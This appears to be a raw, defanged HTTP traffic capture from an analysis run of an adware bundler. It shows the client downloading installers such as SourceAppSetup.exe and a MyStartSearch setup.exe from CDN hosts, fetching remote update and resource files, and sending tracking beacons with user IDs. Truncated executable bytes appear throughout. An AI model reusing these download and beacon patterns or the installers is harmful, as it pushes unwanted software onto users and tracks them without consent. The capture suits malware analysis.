t...m'.=.F....cfA....vN....ae.L u7..q..#,H.............:....{j...L.xb.
......v....j.5.=6..YEP^.M.R.d..^{f..5x.N..jx..Y..6.\...3.%.....c...*.I
K.b.jz.l.!)....U...&...........BxfJ$..U..SU...:.g>O./..J.....].
<<< skipped >>>


GET /sd?is=sm HTTP/1.1

Range: bytes=0-

User-Agent: Better Installer(Mozilla)

Host: install-cdn.sourceapp.info

Cache-Control: no-cache




HTTP/1.1 206 Partial Content

Pragma: no-cache

Content-Type: application/octet-stream

Server: Microsoft-IIS/7.5

Content-Disposition: attachment; filename=SourceAppSetup.exe

X-AspNet-Version: 4.0.30319

SVR: SP004C2

X-Powered-By: ASP.NET

p3p: CP="CAO PSA OUR"

Cache-Control: private, max-age=86400

Expires: Sat, 31 Jan 2015 01:28:01 GMT

Date: Fri, 30 Jan 2015 01:28:01 GMT

Content-Range: bytes 0-583223/583224

Content-Length: 583224

Connection: keep-alive
MZ......................@.............................................
..!..L.!This program cannot be run in DOS mode....$.......1..:u..iu..i
u..i...iw..iu..i...i...id..i!..i...i...it..iRichu..i..................
......PE..L......K.................Z....... ...0.......p....@.........
........................#........................................s....
..................H...................................................
.............p...............................text....X.......Z........
.......... ..`.rdata.......p.......^..............@[email protected].......
.....p..............@....ndata.......p...........................rsrc.
...............t..............@..@....................................
......................................................................
......................................................................
......................................................................
......................................................................
............................................U....\.}..t .}.F.E.u..H...
[email protected]@..e...E..E.P.u...Pr@
..}[email protected]... M.......M....3.....FQ.....NU..M.....
.....VT..U.....FP..E...............E.P.M...Hp@[email protected]
....E..9}[email protected].}[email protected]..
[email protected]@.W...E..E.h [email protected]...\r@._^3.
[.....L$...nD...Si.. ..VW.T.....tO.q.3.;5.nD.sB..i.. ...D.......t.G...
..t...O..t .....u...3....3...F.. ..;5.nD.r._^[...U..QQ.U.SV..i.. .
<<< skipped >>>


GET /images/Tokyo/tokyoLightGrayStripesBG.jpg HTTP/1.1

Accept: */*

Referer: hXXp://bi.bisrv.com/network_adworkmedia_1/freezipwepv/554f1a32df4546428c4cd4ba3636f283?v=2.1&uid=554f1a32df4546428c4cd4ba3636f283&muid=96D78F35E7B7EA4FC32736D428DF43B4

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: d3597u0ojlpfu1.cloudfront.net

Connection: Keep-Alive




HTTP/1.1 200 OK

Content-Type: image/jpeg

Content-Length: 3430

Connection: keep-alive

Server: nginx

Date: Wed, 28 Jan 2015 16:03:12 GMT

Last-Modified: Wed, 28 Jan 2015 13:46:47 GMT

ETag: "54c8e847-d66"

Expires: Wed, 28 Jan 2015 16:13:12 GMT

Cache-Control: max-age=600

Accept-Ranges: bytes

Age: 40

X-Cache: Hit from cloudfront

Via: 1.1 457b75182c63eff39fe8e72b11b6c74d.cloudfront.net (CloudFront)

X-Amz-Cf-Id: AnCL__8Jqykfun1afhjJrz0nhTcpuH3GJAgX7ong8GT-UW5WRJ9zKw==
......JFIF.....H.H.....C..............................................
......................C...............................................
..........................D.."......................................".
...................U......a...........................................
.................?....................................................
......................................................................
......................................................................
.................................' x.eo...r...V...' x.eo...r...V...' x
.eo...r...V...' x.eo...r...V...' x.eo...r...V...' x.eo...r...V...' x.e
o...r...V...' x.eo...r...V...' x.eo...r...V...' x.eo...r...V...' x.eo.
..r...V...' x.eo...r...V...' x.eo...r...V...' x.eo...r...V...' x.eo...
r...V...' x.eo...r...V...' x.eo...r...V...' x.eo...r...V...' x......@.
[email protected]....]..l....]....=... }w..... }w...0
[email protected][email protected]....]..l....]....=... }w..... }
[email protected][email protected]....]..l....]....=... }w..
... }[email protected][email protected]....]..l....]....=...
 }w..... }[email protected][email protected]....]..l....]...
.=... }w..... }[email protected][email protected]....]..l...
.]....=... }w..... }[email protected][email protected]....].
.l....]....=... }w..... }[email protected][email protected].
...]..l....]....=... }w..... }[email protected][email protected].
...l....]..l....]....=... }w..... }[email protected]..................
<<< skipped >>>

GET /sponsored/sourceapp/eula-sourceapp.html HTTP/1.1

Accept: application/x-ms-application, image/jpeg, application/xaml xml, image/gif, image/pjpeg, application/x-ms-xbap, */*

Referer: hXXp://bi.bisrv.com/network_adworkmedia_1/freezipwepv/554f1a32df4546428c4cd4ba3636f283?v=2.1&uid=554f1a32df4546428c4cd4ba3636f283&muid=96D78F35E7B7EA4FC32736D428DF43B4

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: d3597u0ojlpfu1.cloudfront.net

Connection: Keep-Alive




HTTP/1.1 200 OK

Content-Type: text/html

Transfer-Encoding: chunked

Connection: keep-alive

Server: nginx

Date: Sun, 25 Jan 2015 06:06:21 GMT

Last-Modified: Sun, 02 Nov 2014 08:13:44 GMT

Expires: Sun, 25 Jan 2015 06:16:21 GMT

Cache-Control: max-age=600

Content-Encoding: gzip

Vary: Accept-Encoding

X-Cache: RefreshHit from cloudfront

Via: 1.1 457b75182c63eff39fe8e72b11b6c74d.cloudfront.net (CloudFront)

X-Amz-Cf-Id: _Iu6E4B2snJSiDCR5ZNrLEjEpKgQ14ms0X1CGqtkiooYUpgBdg-o9g==
36ec.............}.r....sU..C..cLE."U.m[. ."A.6I...d..#.$IT.H..Q......
....Yk.}....|..vtGQ@..........=...>^....tR\].=...{.....?9>>..
..z?.8/^..,..r........../.....j...........zqw<....X..c..p...h......
....t2[.~.0.~......lU..|....jU...r..V..[.n......a.z.T..q^.~oU}^...K~..
M=z....7.zR/^......;~4-.w.......p?^U..y9.^..z1-'..........O_...N......
.u...............wz%'b ..p..a9............)?-..an....^....r.....5s~:.g
..N......;...o.....G..c....5.x...j=)...a.....i_....v..-./......n_./...
w......E..?h..w........=.|h..........t..Y....A..{.....O....A.{.?(>.
....x'...x.e.....z-~..}P.......>..........>>.\`..3|......6..k
.;.....o.;.......Q....8~....dS-....U..V..xV.....=...8..|<.f..h.-.jZ
.V........(.EU...H..,..zV....E.^/.Uk>...b........A..P.....[/1....L.
;...#M.kL..0.5&.,.......X.......c.X._xw1.OA.#.......%.mR.6..TeS.Y..\..
.]=p.6...s....^...;.....?U...u...|9.X.W...r.X\...../.?....b^/JN.?[T...
.. |..j3..r...r<)o.....IBf.},......>....<.0..#-.s.._U.0..x9..
....d=....\.....r6...... l..g.....N.........k.....^d.....\...XK|...pF8
...Jk......ZL.9......Z....|.....r...N....' <..,k..A.H.h...CQ......j
t.....C./[email protected]...$<y..
.... ....|X.....Z.w...2H.c..4...).......... l3F.o3.,....qVc...Z.SmP...
.02&.....Y.j...s.bR...(.. ...;..K.lb(g.z.Z.G.a....`>...1......K2...
/.hg.....9e...H.gU.Zc.,z......2f.........7..R.AYX.'.....`.I...B..4p...
....x..@.\..5U..x.......*..z.=r.6.'.s\H.9.!.N.;......g....gq.O.. .Y...
...[.X%........ L.........9..E..............`.I1.F.......0|.h...".
<<< skipped >>>


GET /webplayer/appshat/config.json HTTP/1.1

Accept: */*

If-Modified-Since: Sat, 1 Jan 2000 00:00:00 GMT

Cache-Control: max-age=0

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: VVV.bigspeedpro.com

Connection: Keep-Alive




HTTP/1.1 200 OK

Server: nginx

Date: Fri, 30 Jan 2015 01:29:27 GMT

Content-Type: application/json

Content-Length: 778

Last-Modified: Mon, 27 Jan 2014 15:16:30 GMT

Connection: close

ETag: "52e6784e-30a"

Accept-Ranges: bytes
{.."group-name": "AppsHat",.."program-name": "AppsHat",.."about-text":
 "Apps Hat\n(c) 2013 Somoto Ltd. All rights reserved\n\nTerms and Cond
itions:\nhXXp://VVV.appshat.com/eula/ahd\n\nPrivacy Policy:\nhXXp://ww
w.appshat.com/privacy/ahd",.."title-icon": "hXXp://VVV.appshat.com/ima
ges/16x16.ico",.."tray-icon": "hXXp://VVV.appshat.com/images/16x16.ico
",.."shortcut-icon": "hXXp://VVV.appshat.com/images/64x64.ico",.."unin
stall": "Apps Hat",.."url": "hXXp://VVV.appshat.com/home",.."width": 1
024,.."height": 795,.."cache": 86400,.."alwaysontop": false,.."program
-version": "2.13",.."start-on-windows": true,.."title": "Apps Hat",.."
tooltip": "Apps Hat",.."minimized": true,.."update-url" : "hXXp://VVV.
bigspeedpro.com/mirror/nerocrossrider/appshatmini/appshatmini_update.e
xe"..}....


GET /pinger?event_type=offer_shown&installer_source=better_installer&software_type=sponsored&muid=96d78f35e7b7ea4fc32736d428df43b4&client_uid=554f1a32df4546428c4cd4ba3636f283&uniqid=7e067d4730d1830d0b187fc9d5748bbc&affiliate_id=network_adworkmedia_1&software_id=freezipwepv&sponsored_id=sourceapp_b2b&tokyo_csrf2_key=ac95071b2cc939a2c3269499acd6d45b&tokyo_csrf2_timestamp=1422581225&slot_number=3&index_in_screen=1&index_in_session=3&display_height=170&0.47959597492764183 HTTP/1.1

Accept: */*

Referer: hXXp://bi.bisrv.com/network_adworkmedia_1/freezipwepv/554f1a32df4546428c4cd4ba3636f283?v=2.1&uid=554f1a32df4546428c4cd4ba3636f283&muid=96D78F35E7B7EA4FC32736D428DF43B4

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: bi.bisrv.com

Connection: Keep-Alive

Cookie: __utma=1.1033541308.1422581247.1422581247.1422581247.1; __utmb=1.1.10.1422581247; __utmc=1; __utmz=1.1422581247.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utmt=1




HTTP/1.1 200 OK

Server: nginx

Date: Fri, 30 Jan 2015 01:27:29 GMT

Content-Type: image/jpeg

Transfer-Encoding: chunked
0..HTTP/1.1 200 OK..Server: nginx..Date: Fri, 30 Jan 2015 01:27:29 GMT
..Content-Type: image/jpeg..Transfer-Encoding: chunked..0..


GET /apps/65743/resources/meta/0?r=0.9123192366487753 HTTP/1.1

Accept: */*

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: resources.crossrider.com

DNT: 1

Connection: Keep-Alive

Cache-Control: no-cache




HTTP/1.1 200 OK

Date: Fri, 30 Jan 2015 01:31:22 GMT

Keep-Alive: timeout=10, max=100

Connection: Keep-Alive

Accept-Ranges: bytes

ETag: "1413104394"

Last-Modified: Sun, 12 Oct 2014 08:59:54 GMT

Cache-Control: max-age=412

Content-Length: 175

Content-Type: text/html; charset=UTF-8

X-HW: 1422581483.dop011.am4.t,1422581482.cds054.am4.c
{"resources":[{"id":853130,"ver":1,"status":1,"name":"19x19.png","url"
:"hXXp://resources.crossrider.com/system/resources/apps/65743/853130"}
],"nextCheck":360,"lastVersion":1}.HTTP/1.1 200 OK..Date: Fri, 30 Jan 
2015 01:31:22 GMT..Keep-Alive: timeout=10, max=100..Connection: Keep-A
live..Accept-Ranges: bytes..ETag: "1413104394"..Last-Modified: Sun, 12
 Oct 2014 08:59:54 GMT..Cache-Control: max-age=412..Content-Length: 17
5..Content-Type: text/html; charset=UTF-8..X-HW: 1422581483.dop011.am4
.t,1422581482.cds054.am4.c..{"resources":[{"id":853130,"ver":1,"status
":1,"name":"19x19.png","url":"hXXp://resources.crossrider.com/system/r
esources/apps/65743/853130"}],"nextCheck":360,"lastVersion":1}.
....


GET /system/resources/apps/65743/853130.base64?ver=1 HTTP/1.1

Accept: */*

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: resources.crossrider.com

DNT: 1

Connection: Keep-Alive

Cache-Control: no-cache




HTTP/1.1 200 OK

Date: Fri, 30 Jan 2015 01:31:23 GMT

Keep-Alive: timeout=10, max=100

Connection: Keep-Alive

Accept-Ranges: bytes

ETag: "1412511447"

Last-Modified: Sun, 05 Oct 2014 12:17:27 GMT

Cache-Control: max-age=807

Content-Length: 2786

Content-Type: text/plain; charset=UTF-8

X-HW: 1422581484.dop011.am4.t,1422581483.cds051.am4.c
data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABMAAAATCAYAAAByUDbMAAAA
GXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAAyJpVFh0WE1MOmNvbS5hZG
9iZS54bXAAAAAAADw/eHBhY2tldCBiZWdpbj0i77u/IiBpZD0iVzVNME1wQ2VoaUh6cmVT
ek5UY3prYzlkIj8 IDx4OnhtcG1ldGEgeG1sbnM6eD0iYWRvYmU6bnM6bWV0YS8iIHg6eG
1wdGs9IkFkb2JlIFhNUCBDb3JlIDUuMy1jMDExIDY2LjE0NTY2MSwgMjAxMi8wMi8wNi0x
NDo1NjoyNyAgICAgICAgIj4gPHJkZjpSREYgeG1sbnM6cmRmPSJodHRwOi8vd3d3LnczLm
9yZy8xOTk5LzAyLzIyLXJkZi1zeW50YXgtbnMjIj4gPHJkZjpEZXNjcmlwdGlvbiByZGY6
YWJvdXQ9IiIgeG1sbnM6eG1wPSJodHRwOi8vbnMuYWRvYmUuY29tL3hhcC8xLjAvIiB4bW
xuczp4bXBNTT0iaHR0cDovL25zLmFkb2JlLmNvbS94YXAvMS4wL21tLyIgeG1sbnM6c3RS
ZWY9Imh0dHA6Ly9ucy5hZG9iZS5jb20veGFwLzEuMC9zVHlwZS9SZXNvdXJjZVJlZiMiIH
htcDpDcmVhdG9yVG9vbD0iQWRvYmUgUGhvdG9zaG9wIENTNiAoV2luZG93cykiIHhtcE1N
Okluc3RhbmNlSUQ9InhtcC5paWQ6Mzg1NkIzMzE2RDc4MTFFMzg1RkNBNjQxMEREQzYwME
YiIHhtcE1NOkRvY3VtZW50SUQ9InhtcC5kaWQ6Mzg1NkIzMzI2RDc4MTFFMzg1RkNBNjQx
MEREQzYwMEYiPiA8eG1wTU06RGVyaXZlZEZyb20gc3RSZWY6aW5zdGFuY2VJRD0ieG1wLm
lpZDozODU2QjMyRjZENzgxMUUzODVGQ0E2NDEwRERDNjAwRiIgc3RSZWY6ZG9jdW1lbnRJ
RD0ieG1wLmRpZDozODU2QjMzMDZENzgxMUUzODVGQ0E2NDEwRERDNjAwRiIvPiA8L3JkZj
pEZXNjcmlwdGlvbj4gPC9yZGY6UkRGPiA8L3g6eG1wbWV0YT4gPD94cGFja2V0IGVuZD0i
ciI/Pu4QZgAAAASMSURBVHjafJRdbFNlGMf/Pec9X 3ac/p5NlcKjg0GzoQYL3ATdGiMUS
9UUIiAF15oQtQsft544wXXGLzUC29I1AtIvHABuk38YJFMJAMG6wh0bOvWdu36dXp62rX1
eYt6p0/y9pw2T5 v/ 95XZ9 9AncHje8Xg8EQUS7DRiGDtCzVneQzWQgMQkulwubmw14dR
0T8QmkVpYRCps4cvToqCJLb42MDH/O8B/G/0yf D9rUHDdMIa9bu2pZrPp zeYIAiQJOlt
x6nvy2Sy3a1mU3YJ2GCM8VNpt9sJSjBJ7ze5ryzL74XNyHOFwsZLbk35RlXVFOMFMC
<<< skipped >>>


GET /mirror/mystartsearch/default/setup.exe HTTP/1.1

Range: bytes=40204-

User-Agent: Better Installer(Mozilla)

Host: d2gv7sxh1xary4.cloudfront.net

Connection: Keep-Alive

Cache-Control: no-cache




HTTP/1.1 206 Partial Content

Content-Type: application/octet-stream

Content-Length: 281428

Connection: keep-alive

Date: Thu, 29 Jan 2015 10:04:18 GMT

x-amz-version-id: pJx1Noe1nsjOrolbXLoeUI7xmdja2CTU

x-amz-meta-s3cmd-attrs: uid:500/gname:www/uname:www/gid:500/mode:33188/mtime:1422525589/atime:1422525603/ctime:1422525590

Cache-Control: max-age=3600

Last-Modified: Thu, 29 Jan 2015 10:00:41 GMT

ETag: "31f8d1cffb02dff93646f81d8ce3dd75"

Accept-Ranges: bytes

Server: AmazonS3

Content-Range: bytes 40204-321631/321632

Age: 105

X-Cache: Hit from cloudfront

Via: 1.1 7922e01ab53e8f36477272573223ab35.cloudfront.net (CloudFront)

X-Amz-Cf-Id: Z3mziB-nB0ylhlC2hzXDmmFwh-1ofQfQxu2O7INf0ypXRV0vxNcr2w==
...._^[..]..E........M..E..N .~..C.j......j.......I.g.@...@[email protected].@.*.
@...@...@...@. [email protected][email protected]<.......t....u..V..G(.O$RP.....
.>.u..V..G(.O$RP......F(.F4.F0.F8.......F......F ......t.j.j.j....F
<....G0.U..VW...G(.O [email protected]'.W(.G h....j.R......F$..u..O(.
W$VQ....._3.^]..G(.O Sj.P......F(..u .V$.G(.O$RP...W(.G$VR....._3.^]..
M....F,3..N8..........._..^]...U....0S....V...K..V4.M..N0.E..F W.~..E.
.U.;.s. ...... ....N, [email protected].}........)U..U.
...........E.............U..E....r..............V......1....$...@.....
.............. ....E......h.fC.h.VC.j.j....n.......F.....J....m.......
.............E................. s3.}....?...)U..M............E........
.....U..E... r..............;.......3.3..N..E.;.t.........a....N......
.....P....}.........}.........V,9U.u".F0.N(;.t..M.s. .H.E... ....U...u
\.M..E.Q.F4.u....N0.E..F4....E.;.s... .J...V, ..F,.U.9E.u..V(;.t..U.s.
 .I.M... ..E..}....X....F..M..E......E.;.v....M..M.;.v..M..U..E..M.RPQ
.T....E..E.)E..E.)E....)F..E..._....V...........N......s3.}........)U.
.M............E.............U..E....r.%.?........F....................
......S ........K(j.PQ......F..........m...E.....F.................N..
.....9N.sm...s3.}...._...)U..U............E.............U..E....r..N..
...gC..N........E.......V..N..............E.9N.r......9F.s".......V...
..gC..V.........F.9F.r..N$Q.V..F.RP.......F.P.........E.....6....F..E.
.......N...................9N...............E..N.;.s5.}....g...)U..U..
.......N.....E.............U..E.;.r....pVC..V.#......J..R..M..U...
<<< skipped >>>


GET /MFQwUjBQME4wTDAJBgUrDgMCGgUABBQmECJms4f7i5EbxtN7NbzQCBwAdAQUUa8kJpz0aCJXgCYrO0ZiFXsezKUCE1oAAHevvgBk+xJc0C0AAQAAd68= HTTP/1.1

Connection: Keep-Alive

Accept: */*

User-Agent: Microsoft-CryptoAPI/6.1

Host: ocsp.msocsp.com




HTTP/1.1 200 OK

Date: Fri, 30 Jan 2015 01:30:24 GMT

Content-Type: application/ocsp-response

Content-Length: 1757

Connection: keep-alive

Set-Cookie: __cfduid=d9828f9302f53268713e8a6be348603ba1422581424; expires=Sat, 30-Jan-16 01:30:24 GMT; path=/; domain=.msocsp.com; HttpOnly

Last-Modified: Thu, 29 Jan 2015 22:13:00 GMT

Expires: Tue, 03 Feb 2015 01:30:23 GMT

ETag: "6b09a597fc55e662dcd92f82f1facc043b2c9bfb"

Cache-Control: public, max-age=345599

CF-Cache-Status: HIT

Server: cloudflare-nginx

CF-RAY: 1b09e76c57cb0485-FRA
0..........0..... .....0......0...0..........<.|[email protected]|..2015
0129221300Z0..0..0L0... ........&."f........{5.....t..Q.$&..h"W.& ;Fb.
{.....Z..w...d..\.-....w.....20150129221300Z....20150202221300Z."0 0..
. .....0......20140129221300Z0...*.H.............".].y.j.!.k:`}...1n..
S.pXb........X... ... y.II..X8Q....w..P./.S.U.{......O.%f.<'..:.n(.
"..m.G{.U...`6.?k.7..Dkl....eO.....E.[mn...."m.N^[email protected](K.>C..
.z.*.y..N.s7....L.1.M..^....s...U(,.Xv.o.-............g..j..x/.z.)..5.
..-V.:...."..m..l..!p......?._.....0...0...0..........Z..~..M..<ZYJ
....~.0...*.H........0..1.0...U....US1.0...U....Washington1.0...U....R
edmond1.0...U....Microsoft Corporation1.0...U....Microsoft IT1.0...U..
..Microsoft IT SSL SHA20...141229205745Z..150314205745Z0!1.0...U....Sh
ould be ignore by CA0.."0...*.H.............0...........&!(..$.K...."=
f....x.d.._s.....j....9`..l.Z..............^f..u......-e.&.bG.(i.Q....
.......bEy...^7A...A..c....CF-&...e.7..7F....."..w...y.:..`.w{~..D.x*.
......x3Os......q...... S.fB .ig.....L..3......4E..}..7...M....e ...6.
M.O.....<5:......r.....]..A.5........0..0...U..........<.|7...@N
6p.I.e|0...U.#..0...Q.$&..h"W.& ;Fb.{...0...U...........0...U.%..0... 
.......0... .....7....0.0... .......0... .....0......0...*.H..........
........sa....^`.U.h.....(c[..j.|. ..#....3.5.?..L.....Z....J......*.w
...w.$.z..Y.d.....l.....G#.....o.\t.......(.B =..P..T....0./P.....z.3.
...L.O3....z...Wxo..~.OeH....c.i.@."..?d.......=v(.....m..LN..PP....&l
t;.}T.X......K.&e.S...|....% ...(F.=k..~.j..C......4.....c...._p..
<<< skipped >>>


GET /v4/sof-installer/535559167_198339_B48A115F?action=smt.installer.mystartsearch.ds HTTP/1.1

Connection: Keep-Alive

User-Agent: Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0) Pi/3.1415926

Host: xa.xingcloud.com




HTTP/1.1 200 OK

Server: nginx/0.7.67

Date: Fri, 30 Jan 2015 01:28:21 GMT

Content-Type: text/html; charset=utf-8

Transfer-Encoding: chunked

Connection: keep-alive

X-Powered-By: PHP/5.3.3

xa-api-version: v4
48..{"stats":"ok","time":"1.13 ms","message":"store 1 action and 0 upd
ate "}..0..HTTP/1.1 200 OK..Server: nginx/0.7.67..Date: Fri, 30 Jan 20
15 01:28:21 GMT..Content-Type: text/html; charset=utf-8..Transfer-Enco
ding: chunked..Connection: keep-alive..X-Powered-By: PHP/5.3.3..xa-api
-version: v4..48..{"stats":"ok","time":"1.13 ms","message":"store 1 ac
tion and 0 update "}..0......


GET /v4/sof-installer/535559167_198339_B48A115F?action=smt.installer.mystartsearch.finish HTTP/1.1

Connection: Keep-Alive

User-Agent: Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0) Pi/3.1415926

Host: xa.xingcloud.com




HTTP/1.1 200 OK

Server: nginx/0.7.67

Date: Fri, 30 Jan 2015 01:28:25 GMT

Content-Type: text/html; charset=utf-8

Transfer-Encoding: chunked

Connection: keep-alive

X-Powered-By: PHP/5.3.3

xa-api-version: v4
48..{"stats":"ok","time":"1.18 ms","message":"store 1 action and 0 upd
ate "}..0..HTTP/1.1 200 OK..Server: nginx/0.7.67..Date: Fri, 30 Jan 20
15 01:28:25 GMT..Content-Type: text/html; charset=utf-8..Transfer-Enco
ding: chunked..Connection: keep-alive..X-Powered-By: PHP/5.3.3..xa-api
-version: v4..48..{"stats":"ok","time":"1.18 ms","message":"store 1 ac
tion and 0 update "}..0..


GET /v4/sof-installer/535559167_198339_B48A115F?action=smt.installer.mystartsearch.regok HTTP/1.1

Connection: Keep-Alive

User-Agent: Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0) Pi/3.1415926

Host: xa.xingcloud.com




HTTP/1.1 200 OK

Server: nginx/0.7.67

Date: Fri, 30 Jan 2015 01:28:21 GMT

Content-Type: text/html; charset=utf-8

Transfer-Encoding: chunked

Connection: keep-alive

X-Powered-By: PHP/5.3.3

xa-api-version: v4
48..{"stats":"ok","time":"0.58 ms","message":"store 1 action and 0 upd
ate "}..0..HTTP/1.1 200 OK..Server: nginx/0.7.67..Date: Fri, 30 Jan 20
15 01:28:21 GMT..Content-Type: text/html; charset=utf-8..Transfer-Enco
ding: chunked..Connection: keep-alive..X-Powered-By: PHP/5.3.3..xa-api
-version: v4..48..{"stats":"ok","time":"0.58 ms","message":"store 1 ac
tion and 0 update "}..0......


GET /v4/sof-installer/535559167_198339_B48A115F?action=smt.installer.mystartsearch.nt.ff.tab HTTP/1.1

Connection: Keep-Alive

User-Agent: Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0) Pi/3.1415926

Host: xa.xingcloud.com




HTTP/1.1 200 OK

Server: nginx/0.7.67

Date: Fri, 30 Jan 2015 01:28:25 GMT

Content-Type: text/html; charset=utf-8

Transfer-Encoding: chunked

Connection: keep-alive

X-Powered-By: PHP/5.3.3

xa-api-version: v4
48..{"stats":"ok","time":"0.73 ms","message":"store 1 action and 0 upd
ate "}..0..HTTP/1.1 200 OK..Server: nginx/0.7.67..Date: Fri, 30 Jan 20
15 01:28:25 GMT..Content-Type: text/html; charset=utf-8..Transfer-Enco
ding: chunked..Connection: keep-alive..X-Powered-By: PHP/5.3.3..xa-api
-version: v4..48..{"stats":"ok","time":"0.73 ms","message":"store 1 ac
tion and 0 update "}..0..


GET /yta33_sh_full.exe HTTP/1.1

Range: bytes=0-249999

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d3bg798gjlk71j.cloudfront.net

Connection: Keep-Alive




HTTP/1.1 206 Partial Content

Content-Type: application/octet-stream

Content-Length: 250000

Connection: keep-alive

Date: Mon, 04 Aug 2014 23:12:05 GMT

Last-Modified: Wed, 18 Jun 2014 13:22:47 GMT

ETag: "e1f48aa094bffe3887d0ffec22eaae1f"

Accept-Ranges: bytes

Server: AmazonS3

Content-Range: bytes 0-249999/7592848

Age: 57358

X-Cache: Hit from cloudfront

Via: 1.1 fb7ff691963d3e3600808dccbe4422d2.cloudfront.net (CloudFront)

X-Amz-Cf-Id: IfKt-DBEb23peMxhiUwMGbCRI8RJnFvpCL_KHXlTOwyk41Jt5qtiCA==
MZ......................@.............................................
..!..L.!This program cannot be run in DOS mode....$.......5..Yq...q...
q...q...~.......t.......p.......p.......p...Richq...........PE..L.....
.7......................s.............. ....@.........................
..t.....2-t..............................!..5...D ..<[email protected]....
.......s..............................................................
 ..D............................text............................... ..
`.rdata....... ......................@[email protected]...............
[email protected][email protected].................@..@...................
......................................................................
......................................................................
......................................................................
......................................................................
......................................................................
...............................................U....x...SV.....W......
V3.PS..4 @.......VP......P..0 @..=, @.SSj.Sj.......h....P......E...{..
.......PV..( @[email protected]..$ @[email protected]
.../...SSSj.S.u.... @.SSSj.P.E.... @....E......G.....MZ..t...MZ..u..x.
.t..E.@.}.....|..M.SQh....P.u.... @.W... @..u..=. @....u...... @.j..E.
Y3..}.V.........E.D...P......P..0 @..u.......".......F...:.t..."t.@...
8"[email protected] [email protected]..< @.....E.P.E.PSSSSS...
...SP......P... @...t.j..u.... @.......P..  @._^3.[....:.t... t..H
<<< skipped >>>

GET /yta33_sh_full.exe HTTP/1.1

Range: bytes=500000-749999

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d3bg798gjlk71j.cloudfront.net

Connection: Keep-Alive





B..6....[.U......#'.Q...e.l 5..2.!O.<.I.T.......W..q.......0..2._..
p'M...8.Bq.R...~.4.....T...s...:........#._..AD\.Fi......q.S..q..8._.v
'R...g...P3..uLuy!d.../..5T.... .......w ......o.E.q.5.....#M.....%...
.|.:|r!F..M..7....r.B`.r...>....[2}2s6F...=...#.) c.B#.u{\..\....p.
.q....t.....yc.;z.o.5.][...r..%<..Q.S2....G....a.....w........Pr}#.
..HQ\......v....m.r...jF..i ..;...U.....5..p....e ..~?.B..W=QU.3...N-.
...H.N6i)...m..f.^ ... ....K..<.p......O.%......S..K|.!..$.8....B.Z
N..X..~U....#.. ..d`..=B....".U.0.f.1L.s.:..E.... )....._3.3.".W...|..
...=....'..............p<..8..~.K2n.!..... =.....i..PP...7eI....Fk.
..6..Q../...,9...h.3x..Y...C...>......../_...........>E.kQ.~j1(.
R......:..... .../3.Q........"......e......]I...`.......R...Fr...OG...
"......W...{..P,.....7.#.N4q..\^[email protected]..>.5..m.=..
...)[email protected]_...?d.d...aR.p .bY..5..B.9E..l7.Q.;.n.W...........&...P..
m.]I....h...qc<.q.....^.N.......u..e...%..c.....u.<....B.d.s@...
..z....o.6.........w.f.C..v2..NI.\....}...]._>....;.}. '\.Y...N.%..
.&..,.z..#..".Yk ....-...V.M3......;..k1,%..;..Ne .&Mj.#....*iP..C.o..
.c...8>i.:...$.."..[....'.p......1.|..........V><.X...c...]..
.r`.....!Oc`.f-'z......J.s.....7.....T/.[..y...}..8.-...u..).......6lH
.7.p.P......]..L...5B..&3..b. dw'I....s...;.C.s..I..0.1..U....P_.[.:.&
lt;.......[../........].8..p...DN8..).......R\b"[email protected].......
...{.....%.I..4..-..|...O.b...I..;..5......0_.y....'q.~W~...I.36....-.
.a. M.~...\....E.....~.w.v..=)....9.%.Ut|a3...qB..y..-C..8.XB..J.H
<<< skipped >>>

GET /yta33_sh_full.exe HTTP/1.1

Range: bytes=1000000-1249999

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d3bg798gjlk71j.cloudfront.net

Connection: Keep-Alive



GET /yta33_sh_full.exe HTTP/1.1

Range: bytes=1500000-1749999

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d3bg798gjlk71j.cloudfront.net

Connection: Keep-Alive




HTTP/1.1 206 Partial Content

Content-Type: application/octet-stream

Content-Length: 250000

Connection: keep-alive

Date: Mon, 04 Aug 2014 23:12:05 GMT

Last-Modified: Wed, 18 Jun 2014 13:22:47 GMT

ETag: "e1f48aa094bffe3887d0ffec22eaae1f"

Accept-Ranges: bytes

Server: AmazonS3

